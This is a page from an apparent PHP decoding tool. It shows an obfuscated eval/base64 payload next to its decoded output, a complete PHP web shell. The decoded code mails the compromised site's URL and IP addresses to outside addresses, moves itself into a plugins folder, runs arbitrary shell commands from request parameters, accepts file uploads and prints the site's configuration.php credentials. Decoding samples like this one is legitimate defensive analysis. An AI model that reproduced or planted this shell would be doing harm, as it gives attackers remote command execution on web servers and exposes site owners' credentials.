Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(str_rot13(base64_decode('vUl6QuNTEP5cpPsPyzaSHR3EY0irE2AEB6agloTGVkgJ..

Decoded Output download

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/plugins/user/explore.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF MANTAF";}
else {$security= "SAFE_MODE : ON BOSOX";}
echo "<title>UnKnown - Simple Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(str_rot13(base64_decode('vUl6QuNTEP5cpPsPyzaSHR3EY0irE2AEB6agloTGVkgJkOXYm3EPe9faXRNFxH/vzNrOy2RjatXpolVk5vWZdHRzzZSSKkWskMpjMWRq2vtiNviYuJtceHPcSRQGbmvR6147o/hwfOfctts/Pb7Zdd1mzVoiWG6IQmnAqTVwI2tRh/7fTv+ang8GStFsLxzQW0dm8WRa3Q/+GgbhIBr2LyqDkVnnYE4HsZowUEVhS17exYLcCIyNASja6WvM8p2Uge0RFzwCcNdObpTLlDmLAhaGevLY0iwpFTdmiB8enwXRcu80gAC9szO6//Rzg3KavW/VBSObmqmCKR8yQaU2o7mIZuYuV2Wq3+j49LQPPNVSszsjFQRsyakfXPYGwYpGHvPMpU8aFudtavd1goJBIma6UqhyiWHR80vzjHzAIwGGpsYUe57X0ASENZXciIsrEjJozxBQXcCNICC9AHkJYANkA5Mu8yeAtcyZ0u9+O5rHRil/OAIlVFmZlAmOGKbS/GAenrc+a+6Cb9kvzyzevrWNwsdhMz6/B4N4J8mkYDg6ODlNlipuq7PghCf9i6tOZ2nxdNA9vgwcOw8p04YTf3Zo2jsZXgbdTtTv9QbOeodtUklBuNBeCfVr7KHIpG+db03gnChJNU2VYYtH8doV/u84UXs4UeTyuDs4/vIsgWSXfOiFvX8q03EqCT0w3HHsYyj+EGUmyDYJbF5xjIRGlnIHXqU9GKlQLKtpGVhLPJr/y/xqJJFDt//ze/sBw1DaTHHv0ANitGNhgTBPsnzq0g7UHIEAiDJJ6LY7tP21OYbgAOWUPPV6pHwOjxBukaJQyXGpnHyqXIX1SPnwNCEhxfONV3u27fUw40UkhlhOihkkI9h4ySytSUKCoqozW6WvjUWF1C7qtxzPsY12SJuoy5iwqvb2LioUM6USBCUdMGHO+GRSYbu+ln8uxc3Nt+QA65eT1ImQMgcoRjnJZLMC00pr15DYZeBGbfg6oScyz3CRNgQeY0SUhphswXx32IOhBDn2dpKnZ10blqOcL/VIHFfu46y0/+/A3lBxh87+OkUGB3FQ5HJzaxErcO2209jEDfKmHKzmCyUMbuDjlJzxjNkyPLR+Sc2Up7BReLS6wr5zMAb/TY29iX92nfN9Fe1IFF02s957cRXEV3xxs/Le/bXOI9gMHyhWskt438R4DhXITVRUc8F6SPAavSurFhm7aSrnc9mW1iPluPWL5Qx5tiyOxqeGA0GPSW6XM2Hj8Np2KGRhwc4a2T7M5T2LqugsjdDA/ayLyYuoZYMVvEDTsXZ3MN8lFElb7ZGmK+C2cSnuhSdFrXGypg/LJG5NEwOizqfhYGxI+lpP98mTHbl0Wded30MNg29sq5Vsd6+xbbcViq220S9aG+3YD3l5jcs+bw8sZDGSXXpIJ2zoWNf2y/rlmi8hyBrDRfF/IchKMSzI/KaoQabJaRY7LwR+/t4wipNrTJsYUHrYDJG9ucAfYS4NF0zHgy/q+aRHMS4R+xLQYXe3vpjjPw==')))); ?>

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 deef40f254847268d3a9ada632678c84
Eval Count 1
Decode Time 91 ms